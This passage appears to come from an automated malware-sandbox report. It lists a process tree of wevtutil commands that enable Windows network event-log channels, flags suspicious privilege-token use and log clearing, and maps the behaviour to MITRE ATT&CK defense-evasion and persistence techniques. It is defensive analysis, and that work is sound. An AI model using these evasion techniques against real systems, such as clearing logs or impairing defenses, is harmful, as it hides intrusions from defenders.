      "wevtutil" sl Microsoft-Windows-DHCPv6-Client/Admin /e:true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2140
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Dot3Svc/Operational /e:true
      4⤵
      PID:1044
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Wired-AutoConfig/Operational /e:true
      4⤵
      PID:2064
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl "Windows Networking Vpn Plugin Platform/Operational" /e:true
      4⤵
      PID:6420
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2648
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl "Windows Networking Vpn Plugin Platform/OperationalVerbose" /e:true
      4⤵
      PID:6216
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl "Network Isolation Operational" /e:true
      4⤵
      PID:2092
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-WiFiDisplay/Operational /e:true
      4⤵
      PID:6008
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-WiFiDirect/Operational /e:true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1840
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-WiFiHotspot/Operational /e:true
      4⤵
      PID:6344
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-NetworkProvisioning/Operational /e:true
      4⤵
      PID:5404
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Network-ExecutionContext/Operational /e:true
      4⤵
      PID:5256
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Host-Network-Service-Operational /e:true
      4⤵
      PID:4540
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-Windows-Host-Network-Service-Admin /e:true
      4⤵
      PID:5572
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" sl Microsoft-WindowsPhone-Connectivity-WiFiConnSvc-Channel /e:true
      4⤵
      PID:2360

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
- Drops file in Windows directory
- Checks processor information in registry
PID:4852

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Modify Registry